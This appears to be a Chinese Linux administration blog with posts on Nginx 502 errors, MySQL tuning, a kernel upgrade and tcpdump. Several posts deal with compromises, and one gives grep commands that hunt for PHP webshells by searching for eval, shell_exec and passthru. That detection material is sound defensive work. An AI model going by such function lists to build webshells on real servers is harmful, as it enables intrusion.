LINUXQQ

二月 20, 2012

Nginx 502 Bad Gateway

Filed under: linux — admin @ 10:28 上午

解决:[WARNING] fpm_children_bury(), line 215: child 2736 (pool default) exited on signal 15 SIGTERM after 59.588363 seconds from start试用Nginx + PHP FastCGI 做WEB服务器,运行了几个月的时间,烦恼的是经常碰到Nginx 502 Bad Gateway 这个问题。
参考了很多修改办法,这个502的问题一直存在,今天打算重装PHP FastCGI到PHP的安装目录里一看,发现PHP的日志文件已经有几十M的大小,打开一看,结果基本全部都是一下的错误:

Jan 11 08:54:01.164292 [NOTICE] fpm_children_make(), line 352: child 10088 (pool default) started
Jan 11 08:54:01.164325 [WARNING] fpm_children_bury(), line 215: child 7985 (pool default) exited on signal 15 SIGTERM after 63.778601 seconds from start
Jan 11 08:54:01.165485 [NOTICE] fpm_children_make(), line 352: child 10089 (pool default) started
Jan 11 08:54:01.165514 [WARNING] fpm_children_bury(), line 215: child 7999 (pool default) exited on signal 15 SIGTERM after 60.297326 seconds from start
Jan 11 08:54:01.166696 [NOTICE] fpm_children_make(), line 352: child 10090 (pool default) started
Jan 11 08:54:01.166727 [WARNING] fpm_children_bury(), line 215: child 8000 (pool default) exited on signal 15 SIGTERM after 60.296946 seconds from start
Jan 11 08:54:01.167855 [NOTICE] fpm_children_make(), line 352: child 10091 (pool default) started
Jan 12 04:00:50.443884 [NOTICE] fpm_children_make(), line 352: child 10127 (pool default) started
Jan 12 04:00:50.443917 [NOTICE] fpm_event_loop(), line 107: libevent: entering main loop
Jan 12 12:05:08.425141 [WARNING] fpm_request_check_timed_out(), line 158: child 10120, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.051306 sec), terminating
Jan 12 12:05:08.929741 [NOTICE] fpm_got_signal(), line 48: received SIGCHLD
Jan 12 12:05:09.137341 [WARNING] fpm_children_bury(), line 215: child 10120 (pool default) exited on signal 15 SIGTERM after 29058.697774 seconds from start
Jan 13 01:16:43.058020 [NOTICE] fpm_pctl_exit(), line 81: exiting, bye-bye!
Jan 13 01:16:46.236418 [NOTICE] fpm_unix_init_main(), line 284: getrlimit(nofile): max:52000, cur:52000
Jan 13 01:16:46.236655 [NOTICE] fpm_event_init_main(), line 88: libevent: using epoll
Jan 13 01:16:46.610883 [NOTICE] fpm_init(), line 52: fpm is running, pid 14095
Jan 13 01:16:46.612247 [NOTICE] fpm_children_make(), line 352: child 14103 (pool default) started
Jan 13 01:16:46.613190 [NOTICE] fpm_children_make(), line 352: child 14104 (pool default) started
Jan 13 01:16:46.614159 [NOTICE] fpm_children_make(), line 352: child 14105 (pool default) started
Jan 13 01:16:46.615627 [NOTICE] fpm_children_make(), line 352: child 14106 (pool default) started
Jan 13 01:16:46.616362 [NOTICE] fpm_children_make(), line 352: child 14107 (pool default) started
Jan 13 01:16:46.617045 [NOTICE] fpm_children_make(), line 352: child 14108 (pool default) started

Jan 13 01:17:33.243576 [WARNING] fpm_request_check_timed_out(), line 158: child 14103, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (34.024787 sec), terminating
Jan 13 01:17:33.244174 [NOTICE] fpm_got_signal(), line 48: received SIGCHLD
Jan 13 01:17:33.244228 [WARNING] fpm_children_bury(), line 215: child 14103 (pool default) exited on signal 15 SIGTERM after 46.632004 seconds from start
Jan 13 01:17:33.250331 [NOTICE] fpm_children_make(), line 352: child 15488 (pool default) started
Jan 13 01:27:23.052006 [WARNING] fpm_request_check_timed_out(), line 158: child 14106, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.035273 sec), terminating
Jan 13 01:27:23.902504 [NOTICE] fpm_got_signal(), line 48: received SIGCHLD
Jan 13 01:27:23.939140 [WARNING] fpm_children_bury(), line 215: child 14106 (pool default) exited on signal 15 SIGTERM after 637.323523 seconds from start
Jan 13 01:27:23.940355 [NOTICE] fpm_children_make(), line 352: child 1658 (pool default) started
Jan 13 01:27:34.398321 [WARNING] fpm_request_check_timed_out(), line 158: child 14107, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.076368 sec), terminating
Jan 13 01:27:34.529319 [WARNING] fpm_request_check_timed_out(), line 158: child 14107, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.207367 sec), terminating

Jan 13 08:09:44.189826 [NOTICE] fpm_children_make(), line 352: child 30465 (pool default) started

Jan 13 08:10:08.045110 [NOTICE] fpm_children_make(), line 352: child 31815 (pool default) started
Jan 13 09:15:20.604471 [WARNING] fpm_request_check_timed_out(), line 158: child 31813, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.006392 sec), terminating
Jan 13 09:15:21.615288 [NOTICE] fpm_got_signal(), line 48: received SIGCHLD
Jan 13 09:15:21.615347 [WARNING] fpm_children_bury(), line 215: child 31813 (pool default) exited on signal 15 SIGTERM after 3913.810239 seconds from start
Jan 13 11:06:18.645301 [WARNING] fpm_request_check_timed_out(), line 158: child 1905, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.019438 sec), terminating
Jan 13 11:06:19.189703 [NOTICE] fpm_got_signal(), line 48: received SIGCHLD
Jan 13 11:06:19.262665 [WARNING] fpm_children_bury(), line 215: child 1905 (pool default) exited on signal 15 SIGTERM after 34719.959291 seconds from start
Jan 13 11:06:19.264634 [NOTICE] fpm_children_make(), line 352: child 23748 (pool default) started
Jan 13 22:05:29.623956 [WARNING] fpm_request_check_timed_out(), line 158: child 9412, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.038766 sec), terminating
Jan 13 22:05:29.940748 [NOTICE] fpm_got_signal(), line 48: received SIGCHLD
Jan 13 22:05:30.118247 [WARNING] fpm_children_bury(), line 215: child 9412 (pool default) exited on signal 15 SIGTERM after 41228.780226 seconds from start
Jan 13 22:05:30.120231 [NOTICE] fpm_children_make(), line 352: child 30489 (pool default) started
Jan 13 22:11:15.155278 [WARNING] fpm_request_check_timed_out(), line 158: child 12118, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.027702 sec), terminating
Jan 13 22:11:20.906721 [NOTICE] fpm_got_signal(), line 48: received SIGCHLD
Jan 13 22:11:22.375915 [WARNING] fpm_children_bury(), line 215: child 12118 (pool default) exited on signal 15 SIGTERM after 41371.257053 seconds from start
Jan 13 22:11:22.377362 [NOTICE] fpm_children_make(), line 352: child 15899 (pool default) started
Jan 13 22:16:30.459322 [NOTICE] fpm_got_signal(), line 56: received SIGTERM
Jan 13 22:16:30.600664 [NOTICE] fpm_pctl(), line 256: switching to ‘terminating’ state
Jan 13 22:16:30.601166 [NOTICE] fpm_pctl_kill_all(), line 172: sending signal 15 SIGTERM to child 15899 (pool default)
Jan 13 22:16:30.601439 [NOTICE] fpm_pctl_kill_all(), line 172: sending signal 15 SIGTERM to child 30489 (pool default)
Jan 13 22:16:30.604748 [NOTICE] fpm_pctl_kill_all(), line 172: sending signal 15 SIGTERM to child 23748 (pool default)
Jan 13 22:16:30.608901 [NOTICE] fpm_pctl_kill_all(), line 172: sending signal 15 SIGTERM to child 32323 (pool default)

Jan 13 22:16:30.652696 [WARNING] fpm_children_bury(), line 215: child 3515 (pool default) exited on signal 15 SIGTERM after 53860.208516 seconds from start
Jan 13 22:16:30.652735 [WARNING] fpm_children_bury(), line 215: child 30465 (pool default) exited on signal 15 SIGTERM after 50806.462919 seconds from start
Jan 13 22:16:30.652773 [WARNING] fpm_children_bury(), line 215: child 31812 (pool default) exited on signal 15 SIGTERM after 50782.848515 seconds from start
Jan 13 22:16:30.683815 [WARNING] fpm_children_bury(), line 215: child 31815 (pool default) exited on signal 15 SIGTERM after 50782.638716 seconds from start
Jan 13 22:16:30.683868 [WARNING] fpm_children_bury(), line 215: child 32323 (pool default) exited on signal 15 SIGTERM after 46869.067366 seconds from start
Jan 13 22:16:30.683907 [WARNING] fpm_children_bury(), line 215: child 23748 (pool default) exited on signal 15 SIGTERM after 40211.419289 seconds from start
Jan 13 22:16:30.683947 [WARNING] fpm_children_bury(), line 215: child 30489 (pool default) exited on signal 15 SIGTERM after 660.563729 seconds from start
Jan 13 22:16:30.683987 [WARNING] fpm_children_bury(), line 215: child 15899 (pool default) exited on signal 15 SIGTERM after 308.306637 seconds from start
Jan 13 22:16:30.684008 [NOTICE] fpm_pctl_exit(), line 81: exiting, bye-bye!
Jan 13 22:16:38.214052 [NOTICE] fpm_unix_init_main(), line 284: getrlimit(nofile): max:52000, cur:52000
Jan 13 22:16:38.214303 [NOTICE] fpm_event_init_main(), line 88: libevent: using epoll
Jan 13 22:16:38.214366 [NOTICE] fpm_init(), line 52: fpm is running, pid 22086
Jan 13 22:16:38.215305 [NOTICE] fpm_children_make(), line 352: child 22089 (pool default) started
Jan 13 22:16:38.216038 [NOTICE] fpm_children_make(), line 352: child 22090 (pool default) started
Jan 13 22:16:38.216738 [NOTICE] fpm_children_make(), line 352: child 22091 (pool default) started
Jan 13 22:16:38.217453 [NOTICE] fpm_children_make(), line 352: child 22092 (pool default) started
Jan 13 22:16:38.218000 [NOTICE] fpm_children_make(), line 352: child 22093 (pool default) started
Jan 13 22:16:38.218890 [NOTICE] fpm_children_make(), line 352: child 22094 (pool default) started
Jan 13 22:16:38.219617 [NOTICE] fpm_children_make(), line 352: child 22095 (pool default) started

Jan 13 22:16:38.225531 [NOTICE] fpm_event_loop(), line 107: libevent: entering main loop
Jan 13 22:17:27.370069 [WARNING] fpm_request_check_timed_out(), line 158: child 22089, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.038985 sec), terminating
Jan 13 22:17:27.468485 [NOTICE] fpm_got_signal(), line 48: received SIGCHLD
Jan 13 22:17:27.468544 [WARNING] fpm_children_bury(), line 215: child 22089 (pool default) exited on signal 15 SIGTERM after 49.253256 seconds from start
Jan 13 22:17:27.469667 [NOTICE] fpm_children_make(), line 352: child 24464 (pool default) started
Jan 13 22:19:31.308673 [WARNING] fpm_request_check_timed_out(), line 158: child 22091, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.017504 sec), terminating
Jan 13 22:19:31.391669 [NOTICE] fpm_got_signal(), line 48: received SIGCHLD
Jan 13 22:19:31.391726 [WARNING] fpm_children_bury(), line 215: child 22091 (pool default) exited on signal 15 SIGTERM after 173.174998 seconds from start
Jan 13 22:19:31.392806 [NOTICE] fpm_children_make(), line 352: child 26115 (pool default) started
Jan 13 22:19:54.583311 [WARNING] fpm_request_check_timed_out(), line 158: child 22092, script ‘/home/htdocs/blog/index.php’ (pool default) execution timed out (30.059096 sec), terminating
Jan 13 22:19:54.714265 [WARNING] fpm_request_check_timed_out(), line 158: child 22092, script ‘/home/htdocs/blog/index.php’ (pool default) execution timed out (30.190051 sec), terminating
Jan 13 22:19:55.150269 [WARNING] fpm_request_check_timed_out(), line 158: child 22092, script ‘/home/htdocs/blog/index.php’ (pool default) execution timed out (30.626056 sec), terminating
Jan 13 22:19:55.280294 [WARNING] fpm_request_check_timed_out(), line 158: child 22092, script ‘/home/htdocs/blog/index.php’ (pool default) execution timed out (30.756072 sec), terminating

Jan 14 04:25:10.246332 [NOTICE] fpm_children_make(), line 352: child 19682 (pool default) started
Jan 14 04:26:46.671126 [WARNING] fpm_request_check_timed_out(), line 158: child 5197, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.014729 sec), terminating
Jan 14 04:26:46.673180 [NOTICE] fpm_got_signal(), line 48: received SIGCHLD
Jan 14 04:26:46.673227 [WARNING] fpm_children_bury(), line 215: child 5197 (pool default) exited on signal 15 SIGTERM after 11397.233579 seconds from start
Jan 14 04:26:46.674141 [NOTICE] fpm_children_make(), line 352: child 21862 (pool default) started
Jan 14 04:28:36.335704 [WARNING] fpm_request_check_timed_out(), line 158: child 22099, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.007718 sec), terminating
Jan 14 04:28:36.338527 [NOTICE] fpm_got_signal(), line 48: received SIGCHLD
Jan 14 04:28:36.338580 [WARNING] fpm_children_bury(), line 215: child 22099 (pool default) exited on signal 15 SIGTERM after 22318.115787 seconds from start
Jan 14 04:28:36.339512 [NOTICE] fpm_children_make(), line 352: child 24364 (pool default) started
Jan 14 04:28:36.597695 [WARNING] fpm_request_check_timed_out(), line 158: child 13424, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.047650 sec), terminating
Jan 14 04:28:36.601724 [NOTICE] fpm_got_signal(), line 48: received SIGCHLD
Jan 14 04:28:36.601783 [WARNING] fpm_children_bury(), line 215: child 13424 (pool default) exited on signal 15 SIGTERM after 10378.102868 seconds from start
Jan 14 04:28:36.602722 [NOTICE] fpm_children_make(), line 352: child 24366 (pool default) started
Jan 14 04:31:25.990795 [WARNING] fpm_request_check_timed_out(), line 158: child 22102, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.006149 sec), terminating
Jan 14 04:31:25.993590 [NOTICE] fpm_got_signal(), line 48: received SIGCHLD
Jan 14 04:31:25.993646 [WARNING] fpm_children_bury(), line 215: child 22102 (pool default) exited on signal 15 SIGTERM after 22487.768873 seconds from start
Jan 14 04:31:25.994576 [NOTICE] fpm_children_make(), line 352: child 1777 (pool default) started
Jan 14 04:31:46.625603 [WARNING] fpm_request_check_timed_out(), line 158: child 22103, script ‘/home/htdocs/www/index.php’ (pool default) execution timed out (30.074709 sec), terminating
Jan 14 04:31:46.628291 [NOTICE] fpm_got_signal(), line 48: received SIGCHLD
Jan 14 04:31:46.628359 [WARNING] fpm_children_bury(), line 215: child 22103 (pool default) exited on signal 15 SIGTERM after 22508.402867 seconds from start

查过网上的资源,基本都是认为是php线程打开文件句柄受限导致的错误。具体的解决的办法如下:

1、提升服务器的文件句柄打开打开
/etc/security/limits.conf : (增加)
* soft nofile 51200
* hard nofile 51200
# vi /etc/security/limits.conf 加上
* soft nofile 51200
* hard nofile 51200

2、提升nginx的进程文件打开数

nginx.conf : worker_rlimit_nofile 51200;

3、修改php-fpm.conf文件,主要需要修改2处。

命令 ulimit -n 查看限制的打开文件数,php-fpm.conf 中的选项rlimit_files 确保和此数值一致。

10240

51200

4、
# vi /etc/sysctl.conf
底部添加
fs.file-max=51200

完成以上修改,重启PHP,警告信息再也没了。

世界从此安宁,502 Bad Gateway 没有了。

LINUX查找PHP WEBSHELL

Filed under: linux — admin @ 10:15 上午

find /var/www -name “*.php” -mtime -10
找出10天内修改的PHP文件
find /var/www -name “*.php” |xargs grep “eval”|more
找到文件中包含eval的字符串
find /var/www -name “*.php” |xargs grep “shell_exec” |more
找到文件中包含shell_exec的字符串
find /var/www -name “*.php” |xargs grep “passthru” |more
找到文件包含passthru的字符串

转载注明(LINUXQQ)

二月 11, 2012

LINUX /usr/sbin/httpd发包检测进行方法

Filed under: linux — admin @ 2:37 下午

服务器不停的像外发包~检查PHP文件修改记录,并无发现异常~纠结中。
于是netstat -anp 查看到/usr/sbin/httpd 不断的往一个IP地址发送SYN_SEND 判断此进程可能有问题。
于是停止APACHE 但是此进程并未能结束。于是kill掉。但是kill掉 发现马上进程又出来。那估计是还有潜在的父进程。 但是ps aux 并没看到异常进程。
于是lsof -i:PID 查看进程文件交互信息。还是未发现具体问题
在试strace PID 查看内核交互信息。也并未发现具体问题

最后ps ef 查看所有进程的子进程的父进程 .发现此进程的父进程为1。而1的进程居然是init 5。如果没错的话。可能是LINUX图形界面被人黑了。 算了 反正我也不图形界面. vi /etc/inittab 将默认启动改为3。重启服务器。一切OK~~
转载注明(LINUXQQ)

十二月 23, 2011

centos 5 安装usb qf9700驱动

Filed under: linux — admin @ 11:59 上午

我先提供下驱动包吧:vk-qf9700驱动要做数据监听和封IP的工作 2块网卡不够 所以多加了个USB网卡 但是系统无法识别,以下是我安装网卡驱动的步骤

我的系统内核是2.6.18 但是此驱动需要2.6.28或者2.6.29的内核 所以先升级内核,可以远程升级,按步骤操作是不会断网的
一、下载最新内核源码。

从内核官网下载至当前目录下

wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.28.tar.gz

注:大小为64M。其实现在最新版本已经达到2.6.30.5,如需,仅修改最后的版本号即可。如,

wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.30.5.tar.gz

二、解压内核源码,移动到合适的位置。

tar zxvf linux-2.6.28.tar.gz

mv linux-2.6.28 /usr/src/kernel

注:如果你之前从未编译安装过源码,则/usr/src下没有kernel文件夹,只需新建一个即可。

三、编译安装内核源码(共五步)

1,make mrproper

用来消除原来编译的影响,对之前没编译过内核的可以跳过此步,但建议使用一下这条命令 。

2,make menuconfig

如果不定制模块,可跳过这一步。

这里有三种方式可以选择:

(1)make config 单行模式

(2)make menuconfig 图形模式

(3)make xconfig 基于xwindows模式

在此强烈推荐新手使用make menuconfig方式,

修改后,在图形界面的最后有这样两行:

Load an Alternate Configuration File

Save an Alternate Configuration File

现在选Save…那一行,并按回车。

在弹出的保存修改对话框会提示你,为以.config结尾的文件命名,你可以任意命名为xx.config

然后保存退出

注1:由于虚拟化不是默认安装,所以需要手动安装,到virtualization选项里自己选上才行。

注2:由于我英语水平太烂,没读懂修改保存对话框处的英文提示,结果导致修改没有保存,白忙了大半天。其实,也有办法知道修改有没有生效,可以用vi,或vim,或gedit编辑刚刚命名后生成的xx.config文件,查找virtualization,如果相关地方都是y,就说明修改已经保存。

3,make

编译内核,由于是完全编译,所以时间比较长,大概需要30分钟。

4,make modules_install

此命令只有在你进行配置的过程中,在回答Enable loadable module support (CONFIG_MODULES)时选了“Yes”才是必要的,其作用是将模块拷贝到需要的目录中。

5,make install

以前复制内核和System.map,及修改Grub.conf的步骤,都由make install自动实现。

四、安装完毕,重启。

reboot

在重启过程中,出现4秒倒计时界面时,不要选择默认,而是按“enter”键,你会看到,有新旧两个内核版本可以选择.

五、检测

uname -r

至此,Linux内核从2.6.18升级到2.6.28升级完毕。

然后进入驱动目录

make

cp qf9700.ko /lib/modules/$(KERNEL_VERSION)/kernel/drivers/net/usb/

depmod -a

ifconfig -a 查看网卡

ifconfig eth2 add 10.1.1.2 255.0.0.0

OK了

转载注明(LINUXQQ)

七月 26, 2011

tuning-primer.sh

Filed under: linux — admin @ 12:21 下午

CU上看了个非常不错的MYSQL调优工具tuning-primer.sh  

下载地址:http://www.linuxqq.net/downloads/tuning-primer.sh  

运行时你可以选择在用户目录下生成一个保存mysql密码的.my.cnf文件方便下次调用
~/.my.cnf文件内容应该是这样的
cat ~/.my.cnf

  1. [client]
  2. user=test
  3. password=123qwe
  4. socket=/opt/mysql/mysql.sock

./tuning-primer.sh

  1. Using login values from ~/.my.cnf
  2. - INITIAL LOGIN ATTEMPT FAILED -
  3. Testing for stored webmin passwords:
  4.  None Found
  5. Could not auto detect login info!
  6. Found Sockets: /opt/mysql/mysql.sock
  7. Using: /opt/mysql/mysql.sock
  8. Would you like to provide a different socket?: [y/N] n
  9. Do you have your login handy ? [y/N] : y
  10. User: test
  11. Password: 123qwe
  12.  
  13. Would you like me to create a ~/.my.cnf file for you? [y/N] : y
  14.  
  15. ~/.my.cnf already exists!
  16.  
  17. Replace ? [y/N] : y
  18. - FINAL LOGIN ATTEMPT FAILED -
  19. Unable to log into socket: /opt/mysql/mysql.sock

因为我的mysql是编译安装在/opt/mysql/下,这里找不到执行文件,所以没有连接上.
编辑第219和220行,手动修改文件加上路径
vi tuning-primer.sh

  1. 215         if [ -f /etc/psa/.psa.shadow ] ; then
  2.  216                 mysql=”mysql -S $socket -u admin -p$(cat /etc/psa/.psa.shadow)”
  3.  217                 mysqladmin=”mysqladmin -S $socket -u admin -p$(cat /etc/psa/.psa.shadow)”
  4.  218         else
  5.  219                 mysql=”/opt/mysql/bin/mysql”
  6.  220                 mysqladmin=”/opt/mysql/bin/mysqladmin”
  7.  221                 # mysql=”mysql -S $socket”
  8.  222                 # mysqladmin=”mysqladmin -S $socket”
  9.  223         fi

顺带修复生成密码时的错误问题.
第313行”$pass\”后面需加个”n”

  1. 313                         printf “[client]\nuser=$user\npassword=$pass\nsocket=$socket” > ~/.my.cnf

提示:vi中显示行号方法.在命令模式下输入”:set number”

保存后再次运行,在终端上按照问题重要程度分别用黄色/红色字符标记问题
./tuning-primer.sh

  1. – MYSQL PERFORMANCE TUNING PRIMER –
  2.              – By: Matthew Montgomery -
  3.  
  4. MySQL Version 5.1.26-rc x86_64
  5.  
  6. Uptime = 0 days 7 hrs 17 min 18 sec
  7. Avg. qps = 286
  8. Total Questions = 7527430
  9. Threads Connected = 6
  10.  
  11. Warning: Server has not been running for at least 48hrs.
  12. It may not be safe to use these recommendations
  13.  
  14. To find out more information on how each of these
  15. runtime variables effects performance visit:
  16. http://dev.mysql.com/doc/refman/5.1/en/server-system-variables.html
  17. Visit http://www.mysql.com/products/enterprise/advisors.html
  18. for info about MySQL’s Enterprise Monitoring and Advisory Service
  19.  
  20. SLOW QUERIES
  21. The slow query log is NOT enabled.
  22. Current long_query_time = 10.000000 sec.
  23. You have 29 out of 7527516 that take longer than 10.000000 sec. to complete
  24. Your long_query_time seems to be fine
  25.  
  26. BINARY UPDATE LOG
  27. The binary update log is NOT enabled.
  28. You will not be able to do point in time recovery
  29. See http://dev.mysql.com/doc/refman/5.1/en/point-in-time-recovery.html
  30.  
  31. WORKER THREADS
  32. Current thread_cache_size = 80
  33. Current threads_cached = 75
  34. Current threads_per_sec = 0
  35. Historic threads_per_sec = 0
  36. Your thread_cache_size is fine
  37.  
  38. MAX CONNECTIONS
  39. Current max_connections = 350
  40. Current threads_connected = 7
  41. Historic max_used_connections = 208
  42. The number of used connections is 59% of the configured maximum.
  43. Your max_connections variable seems to be fine.
  44.  
  45. No InnoDB Support Enabled!
  46.  
  47. MEMORY USAGE
  48. Max Memory Ever Allocated : 68.78 G
  49. Configured Max Per-thread Buffers : 112.17 G
  50. Configured Max Global Buffers : 2.12 G
  51. Configured Max Memory Limit : 114.29 G
  52. Physical Memory : 15.66 G
  53.  
  54. nMax memory limit exceeds 90% of physical memory
  55.  
  56. KEY BUFFER
  57. Current MyISAM index space = 3.00 G
  58. Current key_buffer_size = 2.00 G
  59. Key cache miss rate is 1 : 3262
  60. Key buffer free ratio = 62 %
  61. Your key_buffer_size seems to be fine
  62.  
  63. QUERY CACHE
  64. Query cache is enabled
  65. Current query_cache_size = 128 M
  66. Current query_cache_used = 61 M
  67. Current query_cache_limit = 2 M
  68. Current Query cache Memory fill ratio = 47.81 %
  69. Current query_cache_min_res_unit = 2 K
  70. Query Cache is 21 % fragmented
  71. Run “FLUSH QUERY CACHE” periodically to defragment the query cache memory
  72. If you have many small queries lower ‘query_cache_min_res_unit’ to reduce fragmentation.
  73. MySQL won’t cache query results that are larger than query_cache_limit in size
  74.  
  75. SORT OPERATIONS
  76. Current sort_buffer_size = 256 M
  77. Current read_rnd_buffer_size = 32 M
  78. Sort buffer seems to be fine
  79.  
  80. JOINS
  81. Current join_buffer_size = 32.00 M
  82. You have had 15 queries where a join could not use an index properly
  83. join_buffer_size >= 4 M
  84. This is not advised
  85. You should enable “log-queries-not-using-indexes”
  86. Then look for non indexed joins in the slow query log.
  87.  
  88. OPEN FILES LIMIT
  89. Current open_files_limit = 51200 files
  90. The open_files_limit should typically be set to at least 2x-3x
  91. that of table_cache if you have heavy MyISAM usage.
  92. Your open_files_limit value seems to be fine
  93.  
  94. TABLE CACHE
  95. Current table_open_cache = 3072 tables
  96. Current table_definition_cache = 256 tables
  97. You have a total of 658 tables
  98. You have 1814 open tables.
  99. The table_cache value seems to be fine
  100. You should probably increase your table_definition_cache value.
  101.  
  102. TEMP TABLES
  103. Current max_heap_table_size = 384 M
  104. Current tmp_table_size = 1.00 G
  105. Of 142450 temp tables, 18% were created on disk
  106. Effective in-memory tmp_table_size is limited to max_heap_table_size.
  107. Created disk tmp tables ratio seems fine
  108.  
  109. TABLE SCANS
  110. Current read_buffer_size = 8 M
  111. Current table scan ratio = 5065 : 1
  112. read_buffer_size seems to be fine
  113.  
  114. TABLE LOCKING
  115. Current Lock Wait ratio = 1 : 25
  116. You may benefit from selective use of InnoDB.
  117. If you have long running SELECT’s against MyISAM tables and perform
  118. frequent updates consider setting ‘low_priority_updates=1′
  119. If you have a high concurrency of inserts on Dynamic row-length tables
  120. consider setting ‘concurrent_insert=2′.

我的my.cnf

  1. [mysqld]
  2. port = 3306
  3. socket = /opt/mysql/mysql.sock
  4. skip-locking
  5. skip-name-resolve
  6. back_log=100
  7. key_buffer_size = 2048M
  8. query_cache_size = 128M
  9. query_cache_limit = 2M #default=1M
  10. query_cache_min_res_unit = 2k #default=4K
  11.  
  12. max_allowed_packet = 16M
  13. table_cache = 3072
  14.  
  15. tmp_table_size = 1024M #default=16M
  16. max_heap_table_size = 384M #default=16M
  17.  
  18. read_buffer_size = 8M
  19. read_rnd_buffer_size = 32M
  20.  
  21. sort_buffer_size = 256M
  22. join_buffer_size = 32M
  23. myisam_sort_buffer_size = 256M
  24. thread_cache_size = 80 #default=0
  25. thread_stack = 192K #default=192K
  26.  
  27. # Try number of CPU’s*2 for thread_concurrency
  28. thread_concurrency = 16 #default=10
  29. connect_timeout = 30
  30. #interactive timeout = 600
  31. max_connection = 350
  32. max_connect_errors = 30
  33. wait_timeout = 30

五月 28, 2011

linux 发ARP包

Filed under: linux — admin @ 11:56 上午

妈的 LINUX发ARP包 中毒了

用tcpdump -e arp命令抓包来获取局域网信息

tcpdump -qne arp
数据包通讯的mac地址也列出来。

/usr/sbin/tcpdump -vvv 查得运行端口 查看正在运行的端口

fuser查得那端口的运行程序名和傀儡用户。rpm -qf查出文件的根源

Linux命令:Fuser

使用权限:  超级用户

语法格式:

Usage: fuser [ -a | -s | -c ] [ -n SPACE ] [ -SIGNAL ] [ -kimuv ] NAME…
             [ - ] [ -n SPACE ] [ -SIGNAL ] [ -kimuv ] NAME…
       fuser -l
       fuser -V

使用说明

此 fuser 命令列出了本地进程的进程号,那些本地进程使用 File 参数指定的本地或远程文件。
对于阻塞特别设备,此命令列出了使用该设备上任何文件的进程。
每个进程号后面都跟随一个字母,该字母指示进程如何使用文件。
c 将此文件作为当前目录使用。
e 将此文件作为程序的可执行对象使用。
r 将此文件作为根目录使用。
s 将此文件作为共享库(或其他可装载对象)使用。
进程号被写入标准输出(在进程号之间有空格的行中)。
一个换行符被写入标准错误(在每个文件操作数的最后一个输出之后)。其他所有输出被写入标准错误。
此 fuser 命令不会检测有 mmap 区域的进程,其中相关的文件描述符已从此被关闭。

主要参数

Show which processes use the named files, sockets, or filesystems.

    -a        display unused files too
    -c        mounted FS
    -f        silently ignored (for POSIX compatibility)
    -i        ask before killing (ignored without -k)
    -k        kill processes accessing the named file
    -l        list available signal names
    -m        show all processes using the named filesystems
    -n SPACE  search in this name space (file, udp, or tcp)
    -s        silent operation
    -SIGNAL   send this signal instead of SIGKILL
    -u        display user IDs
    -v        verbose output
    -V        display version information
    -4        search IPv4 sockets only
    -6        search IPv6 sockets only
    -         reset options

  udp/tcp names: [local_port][,[rmt_host][,[rmt_port]]]

选项
下面将列出一些用例子的选项,这样可以在你使用这个工具时对你有很大的帮助。这些选项很容易淡忘或与其它类型的滤镜(Filter,笔者认为这里的滤镜实际上指的是其它网络工具)混淆。比如, ethereal。所以,希望这篇文章可以作为一个参考文档,我就是这样使用它的。

首先,我要先介绍几个我认为很方便的tcpdump的选项。第一个是 -n, 这样的话域名就不会被解析了,而是用数字IP的形式显示地址(译者注: 同netstat的-n是一样的喔)。第二个是 -X, 这样就会同时把包的内容以ASCII码和十六制的形式显示。最后一个是 -S, 它个选项会显示绝对序号而不是相对序号。因为当包被隐藏起来的话,你也不会看到奇怪的序号。请谨记,tcpdump较之其它工具的优势之一就是可以与包(packets)手工交互。

值得注意的是,tcpdump默认只会从packet中取出前96个字节。如果你想要多一些的话,那就需要需要把 -s xxxx 加上。这里的xxxx是你确切想要抓取的总字节数。如果我使用这个选项的话,我通常会把这个数字设定为1514而得到所有的数据。下面是一个简短的列表列出我经常使用的选项。

-i any: 监听所有的介面。这样你就知道是不是有流量产生。
-n: 不要解决主机名,以IP数字形式显示主机。
-nn: 不要解析主机名或端口名字。
-X: 同时以十六进制和ASCII字符显示包的数据。
-XX: 同-X,但也会显示 Ethernet头部。
-v, -vv, -vvv: 详细,更详细,再详细些! 冗余输出得到的包信息。
-c: 抓取 x 个包后就停下。
-S: 打印绝对序号。
-e: 同时得到Ethernet头部。
-q: 显示少一点协议信息。
-E: 用提供的密钥解密 IPSEC 流量。
-s: 设置显示前多少个字节的包内容(snaplength)。

tcpdump 4.0的snaplength的长度从68字节改成了96字节,这样你就可以看到多些内容了。但仍然看不到所有的内容,指定 -s 1514 得到包的所有内容。

http://blog.ykyi.net

一些基本的应用
根据我要查看的不同流量,我使用不同的选项组合,如下:

1.Basic communication // see the basics without many options
tcpdump -nS

1.基本通讯,不用太多选项睇睇基本的
tcpdump -nS

2.基本通迅,冗余输出。可以看到好多流量,
tcpdump -nnvvS

3. 深入一点查看流量。
tcpdump -nnvvXS // -X 选项必不会使tcpdump输出更多.

4. 看size大一点的包.
tcpdump -nnvvXSs 1514 // -s 1514 选项设定显示所有包内容。

下面的例子使用我们上文提到的选项抓取两个( -c2 )ICMP包(一个ping和一个pong)。请注意每个包我们都能看到些什么。

blog.ykyi.net# tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1514 bytes
00:20:39.722393 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto ICMP (1), length 84) 192.168.111.128 > 173.83.123.7: ICMP echo request, id 10621, seq 1, length 64
0×0000: 4500 0054 0000 4000 4001 e225 c0a8 6f80 E..T..@.@..%..o.
0×0010: ad53 7b07 0800 64e6 297d 0001 d745 cc4c .S{…d.)}…E.L
0×0020: d005 0b00 0809 0a0b 0c0d 0e0f 1011 1213 …………….
0×0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223 ………….!”#
